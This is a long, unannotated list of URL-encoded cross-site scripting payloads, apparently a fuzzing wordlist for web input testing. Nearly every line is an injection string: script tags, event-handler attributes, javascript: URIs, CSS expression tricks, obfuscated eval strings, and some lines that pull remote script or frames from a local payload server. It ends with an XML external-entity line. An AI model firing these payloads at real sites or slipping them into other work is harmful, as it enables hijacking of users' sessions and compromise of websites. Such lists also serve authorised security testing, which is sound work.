<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)" onclick="confirm(1)">x</button>?
''%22%3E  
%E2%80%9D%3E%3Cscript%3Econfirm(%E2%80%9CX%E2%80%9D)%3C/script%3E  
%E2%80%99%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%22%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%20'%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%3Cscript%3Econfirm(1)%3C/script%3E  
%22%20onerror=confirm(1)%20%22  
%22%20onerror=confirm(1)%20x=%22  
-confirm(1)-  
-confirm(1)-  
%3Cmarquee/onstart=confirm(1)%3E  
%22%3E%3Cmarquee/onstart=confirm(1)%3E  
'%3E%3Cmarquee/onstart=confirm(1)%3E  
%3Cimg%20src=x%20onerror=confirm(1);%3E  
%22%3E%3Cimg%20src=x%20onerror=confirm(1);%3E  
'%3E%3Cimg%20src=x%20onerror=confirm(1);%3E  
%3Cimg%20src=x%20onerror=confirm(1)%3E  
%22%3E%3Cimg%20src=x%20onerror=confirm(1)%3E  
'%3E%3Cimg%20src=x%20onerror=confirm(1)%3E  
'';!--%22%3CX%3E=&%7B()%7D  
%3CSCRIPT%3E+confirm(%22X%22);%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%3E+confirm(%22X%22);%3C/SCRIPT%3E  
'%3E%3CSCRIPT%3E+confirm(%22X%22);%3C/SCRIPT%3E  
%3CSCRIPT%3E+confirm(%22X%22)%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%3E+confirm(%22X%22)%3C/SCRIPT%3E  
'%3E%3CSCRIPT%3E+confirm(%22X%22)%3C/SCRIPT%3E  
%3Cscript%3Econfirm(/X/)%3C/script%3E  
%22%3E%3Cscript%3Econfirm(/X/)%3C/script%3E  
'%3E%3Cscript%3Econfirm(/X/)%3C/script%3E  
%3Csvg%3E%3Cscript%3Evarmyvar=%22text&quot;;confirm(1)//%22;%3C/script%3E%3C/svg%3E  
%22%3E%3Csvg%3E%3Cscript%3Evarmyvar=%22text&quot;;confirm(1)//%22;%3C/script%3E%3C/svg%3E  
'%3E%3Csvg%3E%3Cscript%3Evarmyvar=%22text&quot;;confirm(1)//%22;%3C/script%3E%3C/svg%3E  
%3Cobject%20type=%22text/x-scriptlet%22%20data=%22http://jsfiddle.net/XLE63/%20%22%3E%3C/object%3E  
%22%3E%3Cobject%20type=%22text/x-scriptlet%22%20data=%22http://jsfiddle.net/XLE63/%20%22%3E%3C/object%3E  
'%3E%3Cobject%20type=%22text/x-scriptlet%22%20data=%22http://jsfiddle.net/XLE63/%20%22%3E%3C/object%3E  
%3Cmath%3E%3Ca%20xlink:href=%22//127.0.0.1:3555/xss_serve_payloads/X.js%22%3Eclick  
%22%3E%3Cmath%3E%3Ca%20xlink:href=%22//127.0.0.1:3555/xss_serve_payloads/X.js%22%3Eclick  
'%3E%3Cmath%3E%3Ca%20xlink:href=%22//127.0.0.1:3555/xss_serve_payloads/X.js%22%3Eclick  
%3Cembed%20code=%22http://127.0.0.1:3555/xss_serve_payloads/flash.swf%22%20allowscriptaccess=always%3E  
%22%3E%3Cembed%20code=%22http://127.0.0.1:3555/xss_serve_payloads/flash.swf%22%20allowscriptaccess=always%3E  
'%3E%3Cembed%20code=%22http://127.0.0.1:3555/xss_serve_payloads/flash.swf%22%20allowscriptaccess=always%3E  
%3Cscript%20itworksinallbrowsers%3E/*%3Cscript*%20*/confirm(1)%3C/script  
%22%3E%3Cscript%20itworksinallbrowsers%3E/*%3Cscript*%20*/confirm(1)%3C/script  
'%3E%3Cscript%20itworksinallbrowsers%3E/*%3Cscript*%20*/confirm(1)%3C/script  
%3Cimg%20src%20?itworksonchrome?\x5C/onerror%20=%20confirm(1)  
%22%3E%3Cimg%20src%20?itworksonchrome?\x5C/onerror%20=%20confirm(1)  
'%3E%3Cimg%20src%20?itworksonchrome?\x5C/onerror%20=%20confirm(1)  
%3Cscript%20crossorigin%3Econfirm(1);%3C/script%3E  
%22%3E%3Cscript%20crossorigin%3Econfirm(1);%3C/script%3E  
'%3E%3Cscript%20crossorigin%3Econfirm(1);%3C/script%3E  
%3Cscript%20async%3Econfirm(1);%3C/script%20async%3E  
%22%3E%3Cscript%20async%3Econfirm(1);%3C/script%20async%3E  
'%3E%3Cscript%20async%3Econfirm(1);%3C/script%20async%3E  
%3Cscript%20charset%3Econfirm(1);%3C/script%20charset%3E  
%22%3E%3Cscript%20charset%3Econfirm(1);%3C/script%20charset%3E  
'%3E%3Cscript%20charset%3Econfirm(1);%3C/script%20charset%3E  
%3Cscript%20a%20b%20c%20%3Econfirm(1)%3C/script%20d%20e%20f%3E  
%22%3E%3Cscript%20a%20b%20c%20%3Econfirm(1)%3C/script%20d%20e%20f%3E  
'%3E%3Cscript%20a%20b%20c%20%3Econfirm(1)%3C/script%20d%20e%20f%3E  
%3Cimg%20src=x%20onerror=document.body.innerHTML=location.hash%3E  
%22%3E%3Cimg%20src=x%20onerror=document.body.innerHTML=location.hash%3E  
'%3E%3Cimg%20src=x%20onerror=document.body.innerHTML=location.hash%3E  
%3Csvg%20onload=document.body.innerHTML=location.hash%3E  
%22%3E%3Csvg%20onload=document.body.innerHTML=location.hash%3E  
'%3E%3Csvg%20onload=document.body.innerHTML=location.hash%3E  
--!%3E%3Csvg%20onload=confirm(1)  
eval(((_=!1)+%7B%7D)[1]+(_+%7B%7D)[2]+(_+%7B%7D)[4]+((_=!!1)+%7B%7D)[1]+(_+%7B%7D)[0]+((_=%3E(_))+1)[3]+1+((_=%3E(_))+1)[5])  
eval((_=!0+(()=%3E0)+!1)[10]+_[11]+_[3]+_[1]+_[0]+_[4]+1+_[5])  
%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://;URL=javascript:confirm(1);%22%3E  
%22%3E%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://;URL=javascript:confirm(1);%22%3E  
'%3E%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://;URL=javascript:confirm(1);%22%3E  
%3CDIV%20STYLE=%22background-image:%20url(javascript:confirm(1))%22%3E  
%22%3E%3CDIV%20STYLE=%22background-image:%20url(javascript:confirm(1))%22%3E  
'%3E%3CDIV%20STYLE=%22background-image:%20url(javascript:confirm(1))%22%3E  
%3Cdiv%20style=%22background-image:%20url(javascript:confirm(1););%22%3E  
%22%3E%3Cdiv%20style=%22background-image:%20url(javascript:confirm(1););%22%3E  
'%3E%3Cdiv%20style=%22background-image:%20url(javascript:confirm(1););%22%3E  
%3CDIV%20STYLE=%22background-image:%20url(&  
%22%3E%3CDIV%20STYLE=%22background-image:%20url(&  
'%3E%3CDIV%20STYLE=%22background-image:%20url(&  
%3Cdiv%20style=%22behaviour:%20url(http://127.0.0.1:3555/xss_serve_payloads/X.html);%22%3E  
%22%3E%3Cdiv%20style=%22behaviour:%20url(http://127.0.0.1:3555/xss_serve_payloads/X.html);%22%3E  
'%3E%3Cdiv%20style=%22behaviour:%20url(http://127.0.0.1:3555/xss_serve_payloads/X.html);%22%3E  
%3Cdiv%20style=%22binding:%20url(http://127.0.0.1:3555/xss_serve_payloads/X.html));%22%3E  
%22%3E%3Cdiv%20style=%22binding:%20url(http://127.0.0.1:3555/xss_serve_payloads/X.html));%22%3E  
'%3E%3Cdiv%20style=%22binding:%20url(http://127.0.0.1:3555/xss_serve_payloads/X.html));%22%3E  
%3Cdiv%20style=%22behaviour:%20url('http://127.0.0.1:3555/xss_serve_payloads/X.html');%22%3E  
%22%3E%3Cdiv%20style=%22behaviour:%20url('http://127.0.0.1:3555/xss_serve_payloads/X.html');%22%3E  
'%3E%3Cdiv%20style=%22behaviour:%20url('http://127.0.0.1:3555/xss_serve_payloads/X.html');%22%3E  
%3Cdiv%20style=%22binding:%20url(%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22));%22%3E  
%22%3E%3Cdiv%20style=%22binding:%20url(%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22));%22%3E  
'%3E%3Cdiv%20style=%22binding:%20url(%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22));%22%3E  
%3CSCRIPT%20%3CB%3Econfirm(1);%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%20%3CB%3Econfirm(1);%3C/SCRIPT%3E  
'%3E%3CSCRIPT%20%3CB%3Econfirm(1);%3C/SCRIPT%3E  
'%3E%3C%3CSCRIPT%3Econfirm(1);//%3C%3C/SCRIPT%3E  
%22%3E%3C%3CSCRIPT%3Econfirm(1);//%3C%3C/SCRIPT%3E  
%3C%3Cscript%3Econfirm(1);%3C/script%3E  
%22%3E%3C%3Cscript%3Econfirm(1);%3C/script%3E  
'%3E%3C%3Cscript%3Econfirm(1);%3C/script%3E  
%3CINPUT%20TYPE=%22IMAGE%22%20SRC=%22javascript:confirm(1);%22%3E  
%22%3E%3CINPUT%20TYPE=%22IMAGE%22%20SRC=%22javascript:confirm(1);%22%3E  
'%3E%3CINPUT%20TYPE=%22IMAGE%22%20SRC=%22javascript:confirm(1);%22%3E  
%3CIMG%20SRC=%22javascript:confirm(1)%22  
%3Ciframe%20src=%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22%20width=%22800%22%20height=%22800%22%3Eiframe%3C/iframe%3E  
%22%3E%3Ciframe%20src=%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22%20width=%22800%22%20height=%22800%22%3Eiframe%3C/iframe%3E  
'%3E%3Ciframe%20src=%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22%20width=%22800%22%20height=%22800%22%3Eiframe%3C/iframe%3E  
%3CIMG%20SRC=%60javascript:confirm(%E2%80%9CX%20says,%20%E2%80%98X%E2%80%99%E2%80%9D)%60%3E  
%22%3E%3CIMG%20SRC=%60javascript:confirm(%E2%80%9CX%20says,%20%E2%80%98X%E2%80%99%E2%80%9D)%60%3E  
'%3E%3CIMG%20SRC=%60javascript:confirm(%E2%80%9CX%20says,%20%E2%80%98X%E2%80%99%E2%80%9D)%60%3E  
%3Cimg%20src%20=%20%E2%80%9Dhttp://127.0.0.1:3555/xss_serve_payloads/X.js%E2%80%9D%3E  
%22%3E%3Cimg%20src%20=%20%E2%80%9Dhttp://127.0.0.1:3555/xss_serve_payloads/X.js%E2%80%9D%3E  
'%3E%3Cimg%20src%20=%20%E2%80%9Dhttp://127.0.0.1:3555/xss_serve_payloads/X.js%E2%80%9D%3E  
%3Cimg%20src%20=%20%E2%80%9Dhttp://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp%E2%80%9D%3E  
%22%3E%3Cimg%20src%20=%20%E2%80%9Dhttp://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp%E2%80%9D%3E  
'%3E%3Cimg%20src%20=%20%E2%80%9Dhttp://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp%E2%80%9D%3E  
%3CA%20HREF=%22//127.0.0.1:3555/xss_serve_payloads/X.html%22%3EX%3C/A%3E  
%22%3E%3CA%20HREF=%22//127.0.0.1:3555/xss_serve_payloads/X.html%22%3EX%3C/A%3E  
'%3E%3CA%20HREF=%22//127.0.0.1:3555/xss_serve_payloads/X.html%22%3EX%3C/A%3E  
%3CIMG%20STYLE=%22X:expr/*X*/ession(confirm(1))%22%3E  
%22%3E%3CIMG%20STYLE=%22X:expr/*X*/ession(confirm(1))%22%3E  
'%3E%3CIMG%20STYLE=%22X:expr/*X*/ession(confirm(1))%22%3E  
%3CIMG%20DYNSRC=%22javascript:confirm(1)%22%3E  
%22%3E%3CIMG%20DYNSRC=%22javascript:confirm(1)%22%3E  
'%3E%3CIMG%20DYNSRC=%22javascript:confirm(1)%22%3E  
%3Cimg%20dynsrc=%22javascript:confirm(1);%22%3E  
%22%3E%3Cimg%20dynsrc=%22javascript:confirm(1);%22%3E  
'%3E%3Cimg%20dynsrc=%22javascript:confirm(1);%22%3E  
%3CIMG%20LOWSRC=%22javascript:confirm(1)%22%3E  
%22%3E%3CIMG%20LOWSRC=%22javascript:confirm(1)%22%3E  
'%3E%3CIMG%20LOWSRC=%22javascript:confirm(1)%22%3E  
%3Cinput%20type=%22image%22%20dynsrc=%22javascript:confirm(1);%22%3E  
%22%3E%3Cinput%20type=%22image%22%20dynsrc=%22javascript:confirm(1);%22%3E  
'%3E%3Cinput%20type=%22image%22%20dynsrc=%22javascript:confirm(1);%22%3E  
%3CSTYLE%3Eli%20%7Blist-style-image:%20url(%22javascript:confirm(1)%22);%7D%3C/STYLE%3E%3CUL%3E%3CLI%3EX  
%22%3E%3CSTYLE%3Eli%20%7Blist-style-image:%20url(%22javascript:confirm(1)%22);%7D%3C/STYLE%3E%3CUL%3E%3CLI%3EX    
%3Cform%20id=%22test%22%20/%3E%3Cbutton%20form=%22test%22%20formaction=%22javascript:confirm(1)%22%3EX  
%22%3E%3Cform%20id=%22test%22%20/%3E%3Cbutton%20form=%22test%22%20formaction=%22javascript:confirm(1)%22%3EX  
'%3E%3Cform%20id=%22test%22%20/%3E%3Cbutton%20form=%22test%22%20formaction=%22javascript:confirm(1)%22%3EX  
%3Cinput%20onblur=javascript:confirm(1)%20autofocus%3E%3Cinput%20autofocus%3E  
%22%3E%3Cinput%20onblur=javascript:confirm(1)%20autofocus%3E%3Cinput%20autofocus%3E  
'%3E%3Cinput%20onblur=javascript:confirm(1)%20autofocus%3E%3Cinput%20autofocus%3E  
%3Cvideo%20poster=javascript:confirm(1)//%3Cvideo%20poster=javascript:confirm(1)//%3E%3C/video%3E  
%22%3E%3Cvideo%20poster=javascript:confirm(1)//%3E%3C/video%3E  
'%3E%3Cvideo%20poster=javascript:confirm(1)//%3E%3C/video%3E  
%22%3E%3Cvideo%20poster=javascript:confirm(1)//%3Cvideo%20poster=javascript:confirm(1)//%3E%3C/video%3E  
'%3E%3Cvideo%20poster=javascript:confirm(1)//%3Cvideo%20poster=javascript:confirm(1)//%3E%3C/video%3E  
%3Chead%3E%3Cbase%20href=%22javascript://%22/%3E%3C/head%3E%3Cbody%3E%3Ca%20href=%22/.%20/,confirm(1)//  
%22%3E%3Chead%3E%3Cbase%20href=%22javascript://%22/%3E%3C/head%3E%3Cbody%3E%3Ca%20href=%22/.%20/,confirm(1)//  
'%3E%3Chead%3E%3Cbase%20href=%22javascript://%22/%3E%3C/head%3E%3Cbody%3E%3Ca%20href=%22/.%20/,confirm(1)//  
%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Econfirm(1)%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Econfirm(1)%3C/SCRIPT%3E  
'%3E%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Econfirm(1)%3C/SCRIPT%3E  
%3COBJECT%20CLASSID=%22clsid:333C7BC4-460F-11D0-BC04-0080C7055A83%22%3E%3CPARAM%20NAME=%22DataURL%22%20VALUE=%22javascript:confirm(1)%22%3E%3C/OBJECT%3E  
%22%3E%3COBJECT%20CLASSID=%22clsid:333C7BC4-460F-11D0-BC04-0080C7055A83%22%3E%3CPARAM%20NAME=%22DataURL%22%20VALUE=%22javascript:confirm(1)%22%3E%3C/OBJECT%3E  
'%3E%3COBJECT%20CLASSID=%22clsid:333C7BC4-460F-11D0-BC04-0080C7055A83%22%3E%3CPARAM%20NAME=%22DataURL%22%20VALUE=%22javascript:confirm(1)%22%3E%3C/OBJECT%3E  
%3Cembed%20src=%22data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E%3C/embed%3E  
%22%3E%3Cembed%20src=%22data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E%3C/embed%3E  
'%3E%3Cembed%20src=%22data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%22%3E%3C/embed%3E  
%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%22%20formaction=%22javascript:confirm(1)%22%3EX%3C/button%3E  
%22%3E%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%22%20formaction=%22javascript:confirm(1)%22%3EX%3C/button%3E  
'%3E%3Cform%20id=%22test%22%3E%3C/form%3E%3Cbutton%20form=%22test%22%20formaction=%22javascript:confirm(1)%22%3EX%3C/button%3E  
%3Cb%20%3Cscript%3Econfirm(1)//%3C/script%3E0%3C/script%3E%3C/b%3E  
%22%3E%3Cb%20%3Cscript%3Econfirm(1)//%3C/script%3E0%3C/script%3E%3C/b%3E  
'%3E%3Cb%20%3Cscript%3Econfirm(1)//%3C/script%3E0%3C/script%3E%3C/b%3E  
%3Cscript%20src=%22javascript:confirm(1)%22%3E  
%22%3E%3Cscript%20src=%22javascript:confirm(1)%22%3E  
'%3E%3Cscript%20src=%22javascript:confirm(1)%22%3E  
%3Cimage%20src=%22javascript:confirm(1)%22%3E  
%22%3E%3Cimage%20src=%22javascript:confirm(1)%22%3E  
'%3E%3Cimage%20src=%22javascript:confirm(1)%22%3E  
%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex  
%22%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex  
'%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex%3C/div%3E  
'%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex  
%3C?%20foo=%22%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E%22%3E  
%3C!%20foo=%22%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%3C/%20foo=%22%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%3C?%20foo=%22%3E%3Cx%20foo='?%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E'%3E%22%3E  
%3C!%20foo=%22[[[Inception]]%22%3E%3Cx%20foo=%22]foo%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%3Ciframe%20src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html%3E%3C/iframe%3E  
%22%3E%3Ciframe%20src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html%3E%3C/iframe%3E  
'%3E%3Ciframe%20src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html%3E%3C/iframe%3E  
%3Ciframe%20src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html%3E%3C/iframe%3E  
%22%3E%3Ciframe%20src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html%3E%3C/iframe%3E  
'%3E%3Ciframe%20src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html%3E%3C/iframe%3E  
%3Cdiv%20id=d%3E%3Cx%20xmlns=%22%3E%3Ciframe%20onload=confirm(1)%22%3E%3C/div%3E%20%3Cscript%3Ed.innerHTML=d.innerHTML%3C/script%3E  
%22%3E%3Cdiv%20id=d%3E%3Cx%20xmlns=%22%3E%3Ciframe%20onload=confirm(1)%22%3E%3C/div%3E%20%3Cscript%3Ed.innerHTML=d.innerHTML%3C/script%3E  
'%3E%3Cdiv%20id=d%3E%3Cx%20xmlns=%22%3E%3Ciframe%20onload=confirm(1)%22%3E%3C/div%3E%20%3Cscript%3Ed.innerHTML=d.innerHTML%3C/script%3E  
%3Cimg[a][b]src=x[d]onerror[c]=[e]%22confirm(1)%22%3E  
%22%3E%3Cimg[a][b]src=x[d]onerror[c]=[e]%22confirm(1)%22%3E  
'%3E%3Cimg[a][b]src=x[d]onerror[c]=[e]%22confirm(1)%22%3E  
%3Ca%20href=%22[a]java[b]script[c]:confirm(1)%22%3EXXX%3C/a%3E  
%22%3E%3Ca%20href=%22[a]java[b]script[c]:confirm(1)%22%3EXXX%3C/a%3E  
'%3E%3Ca%20href=%22[a]java[b]script[c]:confirm(1)%22%3EXXX%3C/a%3E  
%3Cimg%20src=%22x%60%20%60%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E%22%60%20%60%3E  
%3Cimg%20src%20onerror%20/%22%20'%22=%20alt=confirm(1)//%22%3E  
%22%3E%3Cimg%20src%20onerror%20/%22%20'%22=%20alt=confirm(1)//%22%3E  
'%3E%3Cimg%20src%20onerror%20/%22%20'%22=%20alt=confirm(1)//%22%3E  
%3Ctitle%20onpropertychange=confirm(1)%3E%3C/title%3E%3Ctitle%20title=%3E%3C/title%3E  
%22%3E%3Ctitle%20onpropertychange=confirm(1)%3E%3C/title%3E%3Ctitle%20title=%3E%3C/title%3E  
'%3E%3Ctitle%20onpropertychange=confirm(1)%3E%3C/title%3E%3Ctitle%20title=%3E%3C/title%3E  
%3Ca%20href=http://foo.bar/  
%22%3E%3Ca%20href=http://foo.bar/  
'%3E%3Ca%20href=http://foo.bar/  
%3C!a%20foo=x=%60y%3E%3Cimg%20alt=%22%60%3E%3Cimg%20src=x:x%20onerror=confirm(2)//%22%3E  
%22%3E%3C!a%20foo=x=%60y%3E%3Cimg%20alt=%22%60%3E%3Cimg%20src=x:x%20onerror=confirm(2)//%22%3E  
'%3E%3C!a%20foo=x=%60y%3E%3Cimg%20alt=%22%60%3E%3Cimg%20src=x:x%20onerror=confirm(2)//%22%3E  
%3C?a%20foo=x=`y%3E%3Cimg%20alt=%22`%3E%3Cimg%20src=x:x%20onerror=confirm(3)//%22%3E  
%22%3E%3C?a%20foo=x=`y%3E%3Cimg%20alt=%22`%3E%3Cimg%20src=x:x%20onerror=confirm(3)//%22%3E  
'%3E%3C?a%20foo=x=`y%3E%3Cimg%20alt=%22`%3E%3Cimg%20src=x:x%20onerror=confirm(3)//%22%3E  
%3C!--[if%3Cimg%20src=x%20onerror=confirm(2)//]%3E%20--%3E  
%22%3E%3C!--[if%3Cimg%20src=x%20onerror=confirm(2)//]%3E%20--%3E  
'%3E%3C!--[if%3Cimg%20src=x%20onerror=confirm(2)//]%3E%20--%3E  
%3C!--%20%60%3Cimg/src=xx:xx%20onerror=confirm(1)//--!%3E  
%22%3E%3C!--%20%60%3Cimg/src=xx:xx%20onerror=confirm(1)//--!%3E  
'%3E%3C!--%20%60%3Cimg/src=xx:xx%20onerror=confirm(1)//--!%3E  
%3Cxmp%3E%20%3C%%20%3C/xmp%3E%20%3Cimg%20alt='%%3E%3C/xmp%3E%3Cimg%20src=xx:x%20onerror=confirm(1)//'%3E%20%20%3Cscript%3E%20x='%3C%'%20%3C/script%3E%20%%3E/%20confirm(2)%20%3C/scrip
%22%3E%3Cxmp%3E%20%3C%%20%3C/xmp%3E%20%3Cimg%20alt='%%3E%3C/xmp%3E%3Cimg%20src=xx:x%20onerror=confirm(1)//'%3E%20%20%3Cscript%3E%20x='%3C%'%20%3C/script%3E%20%%3E/%20confirm(2)%20%3C/scrip
'%3E%3Cxmp%3E%20%3C%%20%3C/xmp%3E%20%3Cimg%20alt='%%3E%3C/xmp%3E%3Cimg%20src=xx:x%20onerror=confirm(1)//'%3E%20%20%3Cscript%3E%20x='%3C%'%20%3C/script%3E%20%%3E/%20confirm(2)%20%3C/scrip
%3Cframeset%20onload=confirm(1)%3E  
'%3E%3Cli%20style=list-style:url()%20onerror=confirm(1)%3E%3C/li%3E  
%3Cdiv%20style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden%20onload=confirm(1)%3E  
%22%3E%3Cdiv%20style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden%20onload=confirm(1)%3E  
'%3E%3Cdiv%20style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden%20onload=confirm(1)%3E%3C/div%3E  
'%3E%3Cdiv%20style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden%20onload=confirm(1)%3E  
%3Ca%20style=%22-o-link:'javascript:confirm(1)';-o-link-source:current%22%3EX%3C/a%3E  
%22%3E%3Ca%20style=%22-o-link:'javascript:confirm(1)';-o-link-source:current%22%3EX%3C/a%3E  
'%3E%3Ca%20style=%22-o-link:'javascript:confirm(1)';-o-link-source:current%22%3EX%3C/a%3E  
%3Cstyle%3Ep[foo=bar%7B%7D*%7B-o-link:'javascript:confirm(1)'%7D%7B%7D*%7B-o-link-source:current%7D*%7Bbackground:red%7D]%7Bbackground:green%7D;%3C/style%3E  
%22%3E%3Cstyle%3Ep[foo=bar%7B%7D*%7B-o-link:'javascript:confirm(1)'%7D%7B%7D*%7B-o-link-source:current%7D*%7Bbackground:red%7D]%7Bbackground:green%7D;%3C/style%3E  
'%3E%3Cstyle%3Ep[foo=bar%7B%7D*%7B-o-link:'javascript:confirm(1)'%7D%7B%7D*%7B-o-link-source:current%7D*%7Bbackground:red%7D]%7Bbackground:green%7D;%3C/style%3E  
%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(write(1))%7d  
%22%3E%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(write(1))%7d  
'%3E%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(write(1))%7d  
%3Cstyle%3E@import%20%22data:,*%7bx:expression(write(1))%7D%22;%3C/style%3E  
%22%3E%3Cstyle%3E@import%20%22data:,*%7bx:expression(write(1))%7D%22;%3C/style%3E  
'%3E%3Cstyle%3E@import%20%22data:,*%7bx:expression(write(1))%7D%22;%3C/style%3E  
%3Ca%20style=%22pointer-events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22confirm(1);%22%3EXXX%3C/a%3E%3C/a%3E%3Ca%20href=%22javascript:confirm(2)%22%3EXXX%3C/a%3E  
%22%3E%3Ca%20style=%22pointer-events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22confirm(1);%22%3EXXX%3C/a%3E%3C/a%3E%3Ca%20href=%22javascript:confirm(2)%22%3EXXX%3C/a%3E  
'%3E%3Ca%20style=%22pointer-events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22confirm(1);%22%3EXXX%3C/a%3E%3C/a%3E%3Ca%20href=%22javascript:confirm(2)%22%3EXXX%3C/a%3E  
%3Cstyle%3E*[%7B%7D@import'test.css?]{color:%20green;}%3C/style%3EX  
%22%3E%3Cstyle%3E*[%7B%7D@import'test.css?]{color:%20green;}%3C/style%3EX  
'%3E%3Cstyle%3E*[%7B%7D@import'test.css?]{color:%20green;}%3C/style%3EX  
*%20%7B-o-link:'javascript:confirm(1)';-o-link-source:%20current;%7D  
%3Cdiv%20style=%22font-family:'foo[a];color:red;';%22%3EXXX%3C/div%3E  
%22%3E%3Cdiv%20style=%22font-family:'foo[a];color:red;';%22%3EXXX%3C/div%3E  
'%3E%3Cdiv%20style=%22font-family:'foo[a];color:red;';%22%3EXXX%3C/div%3E  
%3Cdiv%20style=%22font-family:foo%7Dcolor=red;%22%3EX  
%22%3E%3Cdiv%20style=%22font-family:foo%7Dcolor=red;%22%3EX  
'%3E%3Cdiv%20style=%22font-family:foo%7Dcolor=red;%22%3EXXX%3C/div%3E  
'%3E%3Cdiv%20style=%22font-family:foo%7Dcolor=red;%22%3EX  
%3Cdiv%20style=%22[a]color[b]:[c]red%22%3EXXX%3C/div%3E  
%22%3E%3Cdiv%20style=%22[a]color[b]:[c]red%22%3EXXX%3C/div%3E  
'%3E%3Cdiv%20style=%22[a]color[b]:[c]red%22%3EXXX%3C/div%3E   
%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cg%20onload=%22javascript:confirm(1)%22%3E%3C/g%3E%3C/svg  
%22%3E%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cg%20onload=%22javascript:confirm(1)%22%3E%3C/g%3E%3C/svg  
'%3E%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cg%20onload=%22javascript:confirm(1)%22%3E%3C/g%3E%3C/svg  
%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E%3C/svg%3E  
%3Csvg%20onload=%22javascript:confirm(1)%22%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3C/svg%3E  
%22%3E%3Csvg%20onload=%22javascript:confirm(1)%22%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3C/svg%3E  
'%3E%3Csvg%20onload=%22javascript:confirm(1)%22%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3C/svg%3E  
%3Csvg%3E%3Cstyle%3E&lt;img/src=x%20onerror=confirm(1)//%20%3C/b%3E  
%22%3E%3Csvg%3E%3Cstyle%3E&lt;img/src=x%20onerror=confirm(1)//%20%3C/b%3E  
'%3E%3Csvg%3E%3Cstyle%3E&lt;img/src=x%20onerror=confirm(1)//%20%3C/b%3E  
%3C?xml-stylesheet%20href=%22javascript:confirm(1)%22?%3E%3Croot/%3E  
%22%3E%3C?xml-stylesheet%20href=%22javascript:confirm(1)%22?%3E%3Croot/%3E  
'%3E%3C?xml-stylesheet%20href=%22javascript:confirm(1)%22?%3E%3Croot/%3E  
%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E&  
%22%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E&  
'%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E&  
%3C!DOCTYPE%20x[%3C!ENTITY%20x%20SYSTEM%20%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22%3E]%3E%3Cy%3E&x;%3C/y%3E  
